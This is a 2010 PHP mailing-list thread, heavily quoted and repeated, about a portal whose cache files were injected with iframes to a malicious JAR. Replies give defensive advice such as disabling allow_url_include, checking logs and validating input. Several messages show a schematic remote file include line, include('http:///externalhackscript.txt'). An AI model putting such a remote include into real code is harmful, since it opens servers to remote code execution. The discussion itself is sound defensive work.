Re: [PHP] Security Issue
Are you running the latest version of PHP? If not you should check for PHP vulnerabilities for the version that you have installed. You should also check your OS and web server software for security holes. On Mon, Jun 7, 2010 at 7:54 AM, Igor Escobar titiolin...@gmail.com wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter)
Re: [PHP] Security Issue
Hey Richard,
I'll find more about this parameter allow_url_include, thank you!
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 5:26 PM, richard gray r...@richgray.com wrote:
On 07/06/2010 20:00, Igor Escobar wrote:
PHP Injection is the technical name given to a security hole in PHP
applications. When this gap there is a hacker can do with an external code
that is interpreted as an inner code as if the code included was more a
part
of the script.
// my code...
// my code...
include ('http:///externalhackscript.txt');
//my code...
//my code..
can you not switch off remote file includes in php.ini?
This will stop include/require from a remote host..
i.e. /allow_url_include = Off in php.ini
HTH
Rich
/
RE: [PHP] Security Issue
allow_url_include is (or should be) disabled by default.
http://us2.php.net/manual/en/filesystem.configuration.php#ini.allow-url-
include
I can't think of one good reason to ever enable this, it would be a
security issue no matter how you slice it...
-Original Message-
From: Igor Escobar [mailto:titiolin...@gmail.com]
Sent: Tuesday, June 08, 2010 10:11 AM
To: richg...@gmail.com
Cc: php-general@lists.php.net
Subject: Re: [PHP] Security Issue
Hey Richard,
I'll find more about this parameter allow_url_include, thank you!
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 5:26 PM, richard gray r...@richgray.com wrote:
On 07/06/2010 20:00, Igor Escobar wrote:
PHP Injection is the technical name given to a security hole in PHP
applications. When this gap there is a hacker can do with an external
code
that is interpreted as an inner code as if the code included was more
a
part
of the script.
// my code...
// my code...
include ('http:///externalhackscript.txt');
//my code...
//my code..
can you not switch off remote file includes in php.ini?
This will stop include/require from a remote host..
i.e. /allow_url_include = Off in php.ini
HTH
Rich
/
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Security Issue
Yes and scrubbing the input to ensure the field used for this URL
rejects certain characters or does sanity checking on it would also be
another suggestion. Turning this off would fix remote include
requests. But still need to check for people requesting local files.
Should never take user input and put it directly into include or shell
execs or anything.
On Jun 8, 2010, at 11:55 AM, David Stoltz dsto...@shh.org wrote:
allow_url_include is (or should be) disabled by default.
http://us2.php.net/manual/en/filesystem.configuration.php#ini.allow-url-
include
I can't think of one good reason to ever enable this, it would be a
security issue no matter how you slice it...
-Original Message-
From: Igor Escobar [mailto:titiolin...@gmail.com]
Sent: Tuesday, June 08, 2010 10:11 AM
To: richg...@gmail.com
Cc: php-general@lists.php.net
Subject: Re: [PHP] Security Issue
Hey Richard,
I'll find more about this parameter allow_url_include, thank you!
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 5:26 PM, richard gray r...@richgray.com
wrote:
On 07/06/2010 20:00, Igor Escobar wrote:
PHP Injection is the technical name given to a security hole in PHP
applications. When this gap there is a hacker can do with an
external
code
that is interpreted as an inner code as if the code included was
more
a
part
of the script.
// my code...
// my code...
include ('http:///externalhackscript.txt');
//my code...
//my code..
can you not switch off remote file includes in php.ini?
This will stop include/require from a remote host..
i.e. /allow_url_include = Off in php.ini
HTH
Rich
/
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Security Issue
On Mon, 2010-06-07 at 09:54 -0300, Igor Escobar wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) OK, first thing, check all the file access logs, i.e. FTP logs, etc, just to make sure that it's not a case of a compromised password. There's a well-known issue with people who use FileZilla on Windows systems that allows passwords to be easily stolen. Next, see if you can isolate the IP address(s) that might be making these changes, and then go back over the HTTP access logs to determine what URLs they are visiting on the site. This should give you an idea about where the attack is coming in from. Make sure that any pre-built systems (i.e. shopping carts, blog or forum software) is patched and up-to-date. A lot of attacks are targeted at sites en-mass because they are found to have the same flaw which, left unpatched, is like an open door to your server. It's also not a bad idea to change the passwords used to access the server, both for FTP and SSH. You might also need to scan the server with antivirus software (this is mainly for Windows servers really) to make sure that a rootkit hasn't been installed. Thanks, Ash http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Check all user input + upload: make sure that whatever comes from the user is validated. Then check all output: make sure that everythin output is escaped properly. Yes, it's an enormous task, but there's no way around it. Regards Peter -- hype WWW: http://plphp.dk / http://plind.dk LinkedIn: http://www.linkedin.com/in/plind BeWelcome/Couchsurfing: Fake51 Twitter: http://twitter.com/kafe15 /hype -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Security Issue
On Mon, 2010-06-07 at 10:38 -0700, Michael Shadle wrote: It's not that bad. Use filter functions and sanity checks for input. Use htmlspecialchars() basically on output. That should take care of basically everything. On Jun 7, 2010, at 6:16 AM, Igor Escobar titiolin...@gmail.com wrote: This was my fear. Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind peter.e.l...@gmail.com wrote: On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Check all user input + upload: make sure that whatever comes from the user is validated. Then check all output: make sure that everythin output is escaped properly. Yes, it's an enormous task, but there's no way around it. Regards Peter -- hype WWW: http://plphp.dk / http://plind.dk LinkedIn: http://www.linkedin.com/in/plind BeWelcome/Couchsurfing: Fake51 Twitter: http://twitter.com/kafe15 /hype htmlspecialchars() is really only good for user input that you are outputting to the browser. For inserting data into a database, use mysql_real_escape_string(). I find it's good to think carefully about what sort of data I expect and sanitise it accordingly. If I want a numerical value, I use intval($_GET['var']) or floatval(). For things like small text box elements, regex's work well depending on the data. For data from select lists of checkboxes, make sure the value given is within a list of pre-determined values you have. Basically, nothing from the user should be trusted at all, ever. As soon as you let go of that trust in the good honesty of people you'll do fine ;) Thanks, Ash http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
Oh yeah. I do more than just intval() I make sure they didn't feed me anything BUT numeric text first. I do sanity check before type forcing :) I use garbage in garbage out. So I take what is given to me and yes I escape if before the db of course as well, and then encode on output. On Jun 7, 2010, at 10:45 AM, Ashley Sheridan a...@ashleysheridan.co.uk wrote: On Mon, 2010-06-07 at 10:38 -0700, Michael Shadle wrote: It's not that bad. Use filter functions and sanity checks for input. Use htmlspecialchars() basically on output. That should take care of basically everything. On Jun 7, 2010, at 6:16 AM, Igor Escobar titiolin...@gmail.com wrote: This was my fear. Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind peter.e.l...@gmail.com wrote: On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Check all user input + upload: make sure that whatever comes from the user is validated. Then check all output: make sure that everythin output is escaped properly. Yes, it's an enormous task, but there's no way around it. Regards Peter -- hype WWW: http://plphp.dk / http://plind.dk LinkedIn: http://www.linkedin.com/in/plind BeWelcome/Couchsurfing: Fake51 Twitter: http://twitter.com/kafe15 /hype htmlspecialchars() is really only good for user input that you are outputting to the browser. For inserting data into a database, use mysql_real_escape_string(). I find it's good to think carefully about what sort of data I expect and sanitise it accordingly. If I want a numerical value, I use intval($_GET['var']) or floatval(). For things like small text box elements, regex's work well depending on the data. For data from select lists of checkboxes, make sure the value given is within a list of pre-determined values you have. Basically, nothing from the user should be trusted at all, ever. As soon as you let go of that trust in the good honesty of people you'll do fine ;) Thanks, Ash http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
On Mon, 2010-06-07 at 14:42 -0300, Igor Escobar wrote: It's not a SQL Injection or XSS problem, Michael. It's a PHP Injection problem. I know how fix that but the web site is very very huge, have lots and lots of partners and i'm have a bug difficult do identify the focus of the problem. Got it? Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 2:38 PM, Michael Shadle mike...@gmail.com wrote: It's not that bad. Use filter functions and sanity checks for input. Use htmlspecialchars() basically on output. That should take care of basically everything. On Jun 7, 2010, at 6:16 AM, Igor Escobar titiolin...@gmail.com wrote: This was my fear. Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind peter.e.l...@gmail.com wrote: On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Check all user input + upload: make sure that whatever comes from the user is validated. Then check all output: make sure that everythin output is escaped properly. Yes, it's an enormous task, but there's no way around it. Regards Peter -- hype WWW: http://plphp.dk / http://plind.dk LinkedIn: http://www.linkedin.com/in/plind BeWelcome/Couchsurfing: Fake51 Twitter: http://twitter.com/kafe15 /hype -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php What do you mean it's a PHP injection? PHP is all on the server, and the only way to get at that if you don't have direct access to the server (which you've said isn't possible as the passwords, etc are all fine) then the bad data is coming from either a form or another area where user data is expected. This data might be as simple as unsanitised URL variables that are intended to fetch a blog entry, to form data sent in a registration page. All data coming from the user is bad until proven otherwise. Thanks, Ash http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
On Mon, 2010-06-07 at 10:48 -0700, Michael Shadle wrote: Oh yeah. I do more than just intval() I make sure they didn't feed me anything BUT numeric text first. I do sanity check before type forcing :) I use garbage in garbage out. So I take what is given to me and yes I escape if before the db of course as well, and then encode on output. On Jun 7, 2010, at 10:45 AM, Ashley Sheridan a...@ashleysheridan.co.uk wrote: On Mon, 2010-06-07 at 10:38 -0700, Michael Shadle wrote: It's not that bad. Use filter functions and sanity checks for input. Use htmlspecialchars() basically on output. That should take care of basically everything. On Jun 7, 2010, at 6:16 AM, Igor Escobar titiolin...@gmail.com wrote: This was my fear. Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind peter.e.l...@gmail.com wrote: On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Check all user input + upload: make sure that whatever comes from the user is validated. Then check all output: make sure that everythin output is escaped properly. Yes, it's an enormous task, but there's no way around it. Regards Peter -- hype WWW: http://plphp.dk / http://plind.dk LinkedIn: http://www.linkedin.com/in/plind BeWelcome/Couchsurfing: Fake51 Twitter: http://twitter.com/kafe15 /hype htmlspecialchars() is really only good for user input that you are outputting to the browser. For inserting data into a database, use mysql_real_escape_string(). I find it's good to think carefully about what sort of data I expect and sanitise it accordingly. If I want a numerical value, I use intval($_GET['var']) or floatval(). For things like small text box elements, regex's work well depending on the data. For data from select lists of checkboxes, make sure the value given is within a list of pre-determined values you have. Basically, nothing from the user should be trusted at all, ever. As soon as you let go of that trust in the good honesty of people you'll do fine ;) Thanks, Ash http://www.ashleysheridan.co.uk Why waste time validating an integer value when intval() will do that for you? Thanks, Ash http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
I think we're getting off topic here folks... Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 2:51 PM, Ashley Sheridan a...@ashleysheridan.co.ukwrote: On Mon, 2010-06-07 at 10:48 -0700, Michael Shadle wrote: Oh yeah. I do more than just intval() I make sure they didn't feed me anything BUT numeric text first. I do sanity check before type forcing :) I use garbage in garbage out. So I take what is given to me and yes I escape if before the db of course as well, and then encode on output. On Jun 7, 2010, at 10:45 AM, Ashley Sheridan a...@ashleysheridan.co.uk wrote: On Mon, 2010-06-07 at 10:38 -0700, Michael Shadle wrote: It's not that bad. Use filter functions and sanity checks for input. Use htmlspecialchars() basically on output. That should take care of basically everything. On Jun 7, 2010, at 6:16 AM, Igor Escobar titiolin...@gmail.com wrote: This was my fear. Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind peter.e.l...@gmail.com wrote: On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Check all user input + upload: make sure that whatever comes from the user is validated. Then check all output: make sure that everythin output is escaped properly. Yes, it's an enormous task, but there's no way around it. Regards Peter -- hype WWW: http://plphp.dk / http://plind.dk LinkedIn: http://www.linkedin.com/in/plind BeWelcome/Couchsurfing: Fake51 Twitter: http://twitter.com/kafe15 /hype htmlspecialchars() is really only good for user input that you are outputting to the browser. For inserting data into a database, use mysql_real_escape_string(). I find it's good to think carefully about what sort of data I expect and sanitise it accordingly. If I want a numerical value, I use intval($_GET['var']) or floatval(). For things like small text box elements, regex's work well depending on the data. For data from select lists of checkboxes, make sure the value given is within a list of pre-determined values you have. Basically, nothing from the user should be trusted at all, ever. As soon as you let go of that trust in the good honesty of people you'll do fine ;) Thanks, Ash http://www.ashleysheridan.co.uk Why waste time validating an integer value when intval() will do that for you? Thanks, Ash http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
You could do generic things to modify the $_GET and other superglobal arrays. For example if you wanted to implement magic quote yourself have a recursive function (I'd paste one but I'm on my phone) but something akin to this: $_GET = your_function_name($_GET); An idea for you might be to look for / or .. and reject or sanitize that in some fashion. Really hard to speak on what would safely work across the website globally (you could also just modify those specific array indexes of $_GET that have filenames or something the cache uses) Hope that makes sense. iPhones aren't the easiest to explain (or bottom post) On Jun 7, 2010, at 10:42 AM, Igor Escobar titiolin...@gmail.com wrote: It's not a SQL Injection or XSS problem, Michael. It's a PHP Injection problem. I know how fix that but the web site is very very huge, have lots and lots of partners and i'm have a bug difficult do identify the focus of the problem. Got it? Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 2:38 PM, Michael Shadle mike...@gmail.com wrote: It's not that bad. Use filter functions and sanity checks for input. Use htmlspecialchars() basically on output. That should take care of basically everything. On Jun 7, 2010, at 6:16 AM, Igor Escobar titiolin...@gmail.com wrote: This was my fear. Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind peter.e.l...@gmail.com wrote: On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Check all user input + upload: make sure that whatever comes from the user is validated. Then check all output: make sure that everythin output is escaped properly. Yes, it's an enormous task, but there's no way around it. Regards Peter -- hype WWW: http://plphp.dk / http://plind.dk LinkedIn: http://www.linkedin.com/in/plind BeWelcome/Couchsurfing: Fake51 Twitter: http://twitter.com/kafe15 /hype -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Security Issue
Because that only typecasts it. It's safe but it isn't what the user actually entered. This way I can actually determine if the user put in 123abc and reject it, not accept it and keep the 123 silently for example. Same with floats. You may or may not consider a negative number acceptable, or with ints and floats 0 might not be acceptable too. So it's some analysis before intval/floatval/etc. I want to return to the user with a rejection notice so they literally get what they gave me (assuming it passes the sanity check) - it's not just simple silently typecasting and giving them something they didn't give me. And I meant to say garbage in, garbage out* * properly encoded or sanitized of course :) On Jun 7, 2010, at 10:51 AM, Ashley Sheridan a...@ashleysheridan.co.uk wrote: Why waste time validating an integer value when intval() will do that for you? Thanks, Ash http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
PHP Injection is the technical name given to a security hole in PHP
applications. When this gap there is a hacker can do with an external code
that is interpreted as an inner code as if the code included was more a part
of the script.
// my code...
// my code...
include ('http:///externalhackscript.txt');
//my code...
//my code..
I know how to fix that too. The problem is: WHERE I HAVE TO FIX THAT.
Got it?
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 2:48 PM, Ashley Sheridan
a...@ashleysheridan.co.ukwrote:
On Mon, 2010-06-07 at 14:42 -0300, Igor Escobar wrote:
It's not a SQL Injection or XSS problem, Michael.
It's a PHP Injection problem. I know how fix that but the web site is
very
very huge, have lots and lots of partners and i'm have a bug difficult do
identify the focus of the problem.
Got it?
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 2:38 PM, Michael Shadle mike...@gmail.com
wrote:
It's not that bad.
Use filter functions and sanity checks for input.
Use htmlspecialchars() basically on output.
That should take care of basically everything.
On Jun 7, 2010, at 6:16 AM, Igor Escobar titiolin...@gmail.com
wrote:
This was my fear.
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind peter.e.l...@gmail.com
wrote:
On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote:
Hi Folks!
The portal for which I work is suffering constant attacks that I
feel
that
is PHP Injection. Somehow the hacker is getting to change the cache
files
that our system generates. Concatenating the HTML file with another
that
have an iframe to a malicious JAR file. Do you have any suggestions
to
prevent this action? The hacker has no access to our file system, he
is
imputing the code through some security hole. The problem is that
the
portal
is very big and has lots and lots partners hosted on our estructure
structure. We are failing to identify the focus of this attacks.
Any ideas?
Check all user input + upload: make sure that whatever comes from the
user is validated. Then check all output: make sure that everythin
output is escaped properly. Yes, it's an enormous task, but there's
no
way around it.
Regards
Peter
--
hype
WWW: http://plphp.dk / http://plind.dk
LinkedIn: http://www.linkedin.com/in/plind
BeWelcome/Couchsurfing: Fake51
Twitter: http://twitter.com/kafe15
/hype
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What do you mean it's a PHP injection? PHP is all on the server, and the
only way to get at that if you don't have direct access to the server
(which you've said isn't possible as the passwords, etc are all fine)
then the bad data is coming from either a form or another area where
user data is expected. This data might be as simple as unsanitised URL
variables that are intended to fetch a blog entry, to form data sent in
a registration page.
All data coming from the user is bad until proven otherwise.
Thanks,
Ash
http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
I'm totally agree with you Ash,
I came up here to ask you guys some for light. Anything to well me to track
that M%$#% F#$CK#$# and discover from where he's attacking.
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 3:06 PM, Ashley Sheridan
a...@ashleysheridan.co.ukwrote:
On Mon, 2010-06-07 at 15:00 -0300, Igor Escobar wrote:
PHP Injection is the technical name given to a security hole in PHP
applications. When this gap there is a hacker can do with an external code
that is interpreted as an inner code as if the code included was more a part
of the script.
// my code...
// my code...
include ('http:///externalhackscript.txt');
//my code...
//my code..
I know how to fix that too. The problem is: WHERE I HAVE TO FIX THAT.
Got it?
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 2:48 PM, Ashley Sheridan a...@ashleysheridan.co.uk
wrote:
On Mon, 2010-06-07 at 14:42 -0300, Igor Escobar wrote:
It's not a SQL Injection or XSS problem, Michael.
It's a PHP Injection problem. I know how fix that but the web site is
very
very huge, have lots and lots of partners and i'm have a bug difficult do
identify the focus of the problem.
Got it?
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 2:38 PM, Michael Shadle mike...@gmail.com
wrote:
It's not that bad.
Use filter functions and sanity checks for input.
Use htmlspecialchars() basically on output.
That should take care of basically everything.
On Jun 7, 2010, at 6:16 AM, Igor Escobar titiolin...@gmail.com
wrote:
This was my fear.
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind peter.e.l...@gmail.com
wrote:
On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote:
Hi Folks!
The portal for which I work is suffering constant attacks that I
feel
that
is PHP Injection. Somehow the hacker is getting to change the cache
files
that our system generates. Concatenating the HTML file with another
that
have an iframe to a malicious JAR file. Do you have any suggestions
to
prevent this action? The hacker has no access to our file system, he
is
imputing the code through some security hole. The problem is that
the
portal
is very big and has lots and lots partners hosted on our estructure
structure. We are failing to identify the focus of this attacks.
Any ideas?
Check all user input + upload: make sure that whatever comes from the
user is validated. Then check all output: make sure that everythin
output is escaped properly. Yes, it's an enormous task, but there's
no
way around it.
Regards
Peter
--
hype
WWW: http://plphp.dk / http://plind.dk
LinkedIn: http://www.linkedin.com/in/plind
BeWelcome/Couchsurfing: Fake51
Twitter: http://twitter.com/kafe15
/hype
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What do you mean it's a PHP injection? PHP is all on the server, and the
only way to get at that if you don't have direct access to the server
(which you've said isn't possible as the passwords, etc are all fine)
then the bad data is coming from either a form or another area where
user data is expected. This data might be as simple as unsanitised URL
variables that are intended to fetch a blog entry, to form data sent in
a registration page.
All data coming from the user is bad until proven otherwise.
Thanks,
Ash
http://www.ashleysheridan.co.uk
That data is still coming from somewhere, so is still badly sanitised data
either coming from a form or a URL. You really should go over all the code
to find these and root them out, which is a mammoth task. To narrow it down,
those access logs I mentioned before will help. I think there are ways you
can automatically detect security holes in your software, but if none of
your user data is sanitised correctly, then virtually everything is a
potential security hole.
Thanks,
Ash
http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
I disagree and this kind of approach could be appropriate if you walk your input globals and apply some sanity checks and appropriate filtering you could fix the issue. On Jun 7, 2010, at 10:52 AM, Igor Escobar titiolin...@gmail.com wrote: I think we're getting off topic here folks... Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 2:51 PM, Ashley Sheridan a...@ashleysheridan.co.uk wrote: On Mon, 2010-06-07 at 10:48 -0700, Michael Shadle wrote: Oh yeah. I do more than just intval() I make sure they didn't feed me anything BUT numeric text first. I do sanity check before type forcing :) I use garbage in garbage out. So I take what is given to me and yes I escape if before the db of course as well, and then encode on output. On Jun 7, 2010, at 10:45 AM, Ashley Sheridan a...@ashleysheridan.co.uk wrote: On Mon, 2010-06-07 at 10:38 -0700, Michael Shadle wrote: It's not that bad. Use filter functions and sanity checks for input. Use htmlspecialchars() basically on output. That should take care of basically everything. On Jun 7, 2010, at 6:16 AM, Igor Escobar titiolin...@gmail.com wrote: This was my fear. Regards, Igor Escobar Systems Analyst Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind peter.e.l...@gmail.com wrote: On 7 June 2010 14:54, Igor Escobar titiolin...@gmail.com wrote: Hi Folks! The portal for which I work is suffering constant attacks that I feel that is PHP Injection. Somehow the hacker is getting to change the cache files that our system generates. Concatenating the HTML file with another that have an iframe to a malicious JAR file. Do you have any suggestions to prevent this action? The hacker has no access to our file system, he is imputing the code through some security hole. The problem is that the portal is very big and has lots and lots partners hosted on our estructure structure. We are failing to identify the focus of this attacks. Any ideas? Check all user input + upload: make sure that whatever comes from the user is validated. Then check all output: make sure that everythin output is escaped properly. Yes, it's an enormous task, but there's no way around it. Regards Peter -- hype WWW: http://plphp.dk / http://plind.dk LinkedIn: http://www.linkedin.com/in/plind BeWelcome/Couchsurfing: Fake51 Twitter: http://twitter.com/kafe15 /hype htmlspecialchars() is really only good for user input that you are outputting to the browser. For inserting data into a database, use mysql_real_escape_string(). I find it's good to think carefully about what sort of data I expect and sanitise it accordingly. If I want a numerical value, I use intval($_GET['var']) or floatval(). For things like small text box elements, regex's work well depending on the data. For data from select lists of checkboxes, make sure the value given is within a list of pre-determined values you have. Basically, nothing from the user should be trusted at all, ever. As soon as you let go of that trust in the good honesty of people you'll do fine ;) Thanks, Ash http://www.ashleysheridan.co.uk Why waste time validating an integer value when intval() will do that for you? Thanks, Ash http://www.ashleysheridan.co.uk
Re: [PHP] Security Issue
On Mon, 2010-06-07 at 15:00 -0300, Igor Escobar wrote:
PHP Injection is the technical name given to a security hole in PHP
applications. When this gap there is a hacker can do with an external
code that is interpreted as an inner code as if the code included was
more a part of the script.
// my code...
// my code...
include ('http:///externalhackscript.txt');
//my code...
//my code..
I know how to fix that too. The problem is: WHERE I HAVE TO FIX THAT.
Got it?
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 2:48 PM, Ashley Sheridan
a...@ashleysheridan.co.uk wrote:
On Mon, 2010-06-07 at 14:42 -0300, Igor Escobar wrote:
It's not a SQL Injection or XSS problem, Michael.
It's a PHP Injection problem. I know how fix that but the
web site is very
very huge, have lots and lots of partners and i'm have a bug
difficult do
identify the focus of the problem.
Got it?
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 2:38 PM, Michael Shadle
mike...@gmail.com wrote:
It's not that bad.
Use filter functions and sanity checks for input.
Use htmlspecialchars() basically on output.
That should take care of basically everything.
On Jun 7, 2010, at 6:16 AM, Igor Escobar
titiolin...@gmail.com wrote:
This was my fear.
Regards,
Igor Escobar
Systems Analyst Interface Designer
+ http://blog.igorescobar.com
+ http://www.igorescobar.com
+ @igorescobar (twitter)
On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind
peter.e.l...@gmail.com
wrote:
On 7 June 2010 14:54, Igor Escobar
titiolin...@gmail.com wrote:
Hi Folks!
The portal for which I work is suffering constant
attacks that I feel
that
is PHP Injection. Somehow the hacker is getting to
change the cache
files
that our system generates. Concatenating the HTML file
with another that
have an iframe to a malicious JAR file. Do you have any
suggestions to
prevent this action? The hacker has no access to our
